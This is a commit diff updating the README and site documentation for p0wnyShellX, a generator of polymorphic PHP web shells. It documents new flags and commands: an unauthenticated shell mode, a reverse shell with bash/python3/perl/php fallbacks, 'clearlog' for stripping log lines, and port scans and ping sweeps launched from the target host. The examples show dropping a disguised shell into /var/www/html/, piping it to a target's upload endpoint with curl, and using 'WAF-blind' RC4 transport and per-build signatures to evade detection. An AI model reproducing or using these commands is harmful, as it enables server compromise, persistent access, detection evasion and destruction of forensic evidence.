Skip to content

Commit d0a30df

Browse files
committed
docs: update README and site for all new flags and commands
1 parent 601955c commit d0a30df

2 files changed

Lines changed: 104 additions & 14 deletions

File tree

README.md

Lines changed: 93 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -312,23 +312,57 @@ python3 p0wnyShellX.py [OPTIONS]
312312

313313
### Options
314314

315+
**Output**
316+
317+
| Flag | Short | Default | Description |
318+
|---|---|---|---|
319+
| `--output` | `-o` | `shell.php` | Output filename (or full path) |
320+
| `--outdir` | `-d` | `.` | Output directory — combined with `-o` for the filename |
321+
| `--stdout` || false | Print PHP to stdout instead of a file. Status messages go to stderr. Useful for piping. |
322+
323+
**Authentication**
324+
315325
| Flag | Short | Default | Description |
316326
|---|---|---|---|
317327
| `--password` | `-p` | `changeme666` | Login password |
318328
| `--user` | `-u` | `sysadmin` | Login username |
319-
| `--output` | `-o` | `shell.php` | Output file path |
329+
| `--no-auth` || false | Strip all auth: no login form, no session, no bcrypt. Shell is directly accessible. |
330+
331+
**Polymorphism**
332+
333+
| Flag | Short | Default | Description |
334+
|---|---|---|---|
320335
| `--junk` | `-j` | random 20–80 | Number of junk functions (max 200) |
321-
| `--theme` | `-t` | random | CSS theme (see table below). `poly` = random palette per build, `none` = no CSS |
322-
| `--seed` | `-s` || Fixed RNG seed for reproducible output |
323336
| `--no-junk` || false | Disable junk function generation |
337+
| `--theme` | `-t` | random | CSS theme. `poly` = random palette per build, `none` = no CSS (see table below) |
338+
| `--seed` | `-s` || Fixed RNG seed for reproducible output |
324339
| `--transport` || `plain` | AJAX encoding: `plain` / `mimic` / `rc4` |
325340

341+
**Optional shell features** *(opt-in — not compiled unless flag is passed)*
342+
343+
| Flag | Compiles | Description |
344+
|---|---|---|
345+
| `--revshell` | `revshell` command | Reverse shell via bash → python3 → perl → php fallback |
346+
| `--clearlog` | `clearlog` command | Strip regex-matching lines from a log file in-place |
347+
| `--portscan` | `portscan` command | TCP port scan from the target host |
348+
| `--pingsweep` | `pingsweep` command | TCP-based host discovery from the target host |
349+
326350
### Examples
327351

328352
```bash
329353
# Minimal — password only
330354
python3 p0wnyShellX.py -p "MyPass123!" -o shell.php
331355

356+
# Custom output directory + filename
357+
python3 p0wnyShellX.py -p "MyPass123!" -d /var/www/html/ -o monitor.php
358+
359+
# Print to stdout — useful for piping or file upload chains
360+
python3 p0wnyShellX.py -p "MyPass123!" --stdout 2>/dev/null > shell.php
361+
python3 p0wnyShellX.py -p "MyPass123!" --stdout 2>/dev/null | curl -F "file=@-" http://target/upload
362+
363+
# No-auth shell — no login form, direct access (magic file upload, quick tests)
364+
python3 p0wnyShellX.py --no-auth --no-junk -t none -o shell.php
365+
332366
# Full control
333367
python3 p0wnyShellX.py \
334368
-p "MyPass123!" \
@@ -343,9 +377,6 @@ python3 p0wnyShellX.py -p "MyPass123!" --seed 42 -o shell.php
343377
# Minimal output (no junk, fastest generation)
344378
python3 p0wnyShellX.py -p "MyPass123!" --no-junk -o shell.php
345379

346-
# Corporate blue theme, custom username
347-
python3 p0wnyShellX.py -p "MyPass123!" -u webmaster -t corporate-blue -o shell.php
348-
349380
# Polymorphic CSS — random palette, random app name, unique signature per build
350381
python3 p0wnyShellX.py -p "MyPass123!" -t poly -o shell.php
351382

@@ -360,6 +391,9 @@ python3 p0wnyShellX.py -p "MyPass123!" --transport mimic -o shell.php
360391

361392
# RC4 mode — RC4 + shuffled base64 alphabet, unique per build, WAF-blind
362393
python3 p0wnyShellX.py -p "MyPass123!" --transport rc4 -o shell.php
394+
395+
# Shell with all optional features compiled in
396+
python3 p0wnyShellX.py -p "MyPass123!" --revshell --clearlog --portscan --pingsweep -o shell.php
363397
```
364398

365399
---
@@ -374,16 +408,66 @@ Once deployed and authenticated, the shell supports:
374408
| `cd /path` | Change working directory (persisted across commands) |
375409
| `download /path/to/file` | Download file to browser |
376410
| `upload /remote/path` | Upload local file via browser dialog |
377-
| `revshell <IP> <PORT>` | Spawn reverse shell — tries bash, python3, perl, php in order (first available wins) |
378-
| `clearlog <file> <pattern>` | Strip lines matching `<pattern>` (case-insensitive regex) in-place from `<file>` |
379-
| `portscan <ip[-range]> <ports>` | TCP port scan from the target host — e.g. `portscan 10.0.0.1-254 22,80,443` or `portscan 10.0.0.5 20-25,80` |
380411
| `clear` | Clear terminal output |
381412
| `Tab` | Autocomplete files and commands |
382413
| `↑ / ↓` | Command history navigation |
383414
| `Ctrl+L` | Clear screen |
384415
| `Ctrl+C` | Cancel current input |
385416
| `Ctrl+U` | Clear input line |
386417

418+
**Optional commands** *(compiled only if the corresponding flag was passed at generation time)*
419+
420+
| Command | Full syntax | Description |
421+
|---|---|---|
422+
| `revshell` | `revshell <IP> <PORT> [--method bash\|python3\|perl\|php]` | Reverse shell. Fallback chain: bash → python3 → perl → php. `--method` forces a specific binary. |
423+
| `clearlog` | `clearlog <file> <pattern>` | Strip lines matching `<pattern>` (case-insensitive regex) in-place from `<file>`. |
424+
| `portscan` | `portscan <target> <ports> [--stealth\|--fast] [--timeout N] [--pause N]` | TCP scan from the target host. |
425+
| `pingsweep` | `pingsweep <target> [--ports <list>] [--stealth\|--fast] [--timeout N] [--pause N]` | TCP-based host discovery from the target host. |
426+
427+
**portscan / pingsweep — target formats**
428+
429+
| Format | Example |
430+
|---|---|
431+
| Single IP | `192.168.0.1` |
432+
| Last-octet range | `192.168.0.1-254` |
433+
| Full IP range | `192.168.0.1-192.168.0.50` |
434+
| Comma list | `192.168.0.1,10.0.0.5,172.16.0.1` |
435+
| CIDR | `192.168.0.0/24` |
436+
| Mixed | `192.168.0.0/24,10.0.0.1` |
437+
438+
**portscan — port formats and presets**
439+
440+
| Value | Ports |
441+
|---|---|
442+
| `minimal` | 22, 80, 443 |
443+
| `web` | 80, 443, 8080, 8443, 8000, 8888, 3000, 5000, 4848, 9200 |
444+
| `top20` | 20 most common ports (nmap reference) |
445+
| `top100` | 100 most common ports (nmap reference) |
446+
| `22,80,443` | Custom comma list |
447+
| `22-100` | Custom range |
448+
449+
**portscan / pingsweep — scan modes**
450+
451+
Modes define timing. `--timeout` and `--pause` override the mode preset if specified.
452+
453+
| Mode | Timeout | Pause between connections |
454+
|---|---|---|
455+
| `--fast` | 0.1 s | 0 ms |
456+
| *(default)* | 0.3 s | 0 ms |
457+
| `--stealth` | 2.0 s | 500 ms |
458+
| `--timeout N` | custom ||
459+
| `--pause N` || custom (ms) |
460+
461+
**pingsweep — probe port presets** (`--ports`)
462+
463+
| Value | Ports tried per host |
464+
|---|---|
465+
| *(default)* | 80, 443, 22 |
466+
| `minimal` | 22, 80 |
467+
| `web` | 80, 443, 8080, 8443 |
468+
| `full` | 22, 80, 443, 8080, 3389, 3306, 5432, 6379, 27017 |
469+
| `N,N,...` | Custom list |
470+
387471
---
388472

389473
## CSS Themes

docs/index.html

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -385,11 +385,17 @@ <h1 class="glitch" data-text="p0wnyShellX">p0wnyShellX</h1>
385385
<a class="lnk" href="https://github.com/franckferman/p0wnyShellX#readme" target="_blank" rel="noopener">Docs</a>
386386
</div>
387387

388-
<div style="margin:1.2rem auto 0;max-width:560px;border:1px solid #1c1c1c;border-radius:5px;padding:.7rem 1rem;font-size:.72rem;color:#555;line-height:1.7;letter-spacing:.03em;">
389-
<span style="color:#2ecc71;font-weight:700;">Built-in shell commands</span><br>
390-
<code style="color:#888;">revshell &lt;IP&gt; &lt;PORT&gt;</code> &mdash; reverse shell via bash / python3 / perl / php<br>
391-
<code style="color:#888;">clearlog &lt;file&gt; &lt;pattern&gt;</code> &mdash; strip matching lines from a log in-place<br>
392-
<code style="color:#888;">portscan &lt;ip[-range]&gt; &lt;ports&gt;</code> &mdash; TCP scan from the target host
388+
<div style="margin:1.2rem auto 0;max-width:560px;border:1px solid #1c1c1c;border-radius:5px;padding:.7rem 1rem;font-size:.72rem;color:#555;line-height:1.9;letter-spacing:.03em;">
389+
<span style="color:#2ecc71;font-weight:700;">Optional shell commands</span> <span style="color:#333;">&mdash; compiled only when the matching flag is passed</span><br>
390+
<code style="color:#888;">revshell &lt;IP&gt; &lt;PORT&gt; [--method bash|python3|perl|php]</code><br>
391+
<code style="color:#888;">clearlog &lt;file&gt; &lt;pattern&gt;</code><br>
392+
<code style="color:#888;">portscan &lt;target&gt; &lt;ports|minimal|web|top20|top100&gt; [--stealth|--fast] [--timeout N] [--pause N]</code><br>
393+
<code style="color:#888;">pingsweep &lt;target&gt; [--ports minimal|web|full] [--stealth|--fast] [--timeout N] [--pause N]</code><br>
394+
<span style="color:#333;">Targets: single IP, CIDR, range, comma list &mdash; e.g. <code style="color:#666;">192.168.0.0/24</code> or <code style="color:#666;">10.0.0.1-50,172.16.0.1</code></span><br>
395+
<span style="color:#2ecc71;font-weight:700;">Other flags</span><br>
396+
<code style="color:#888;">--no-auth</code> &mdash; no login form / no session (magic file upload, quick tests)<br>
397+
<code style="color:#888;">--stdout</code> &mdash; PHP to stdout, status messages to stderr (pipe-friendly)<br>
398+
<code style="color:#888;">-d &lt;dir&gt;</code> &mdash; output directory, combined with <code style="color:#888;">-o &lt;name.php&gt;</code>
393399
</div>
394400

395401
</div>

0 commit comments

Comments
 (0)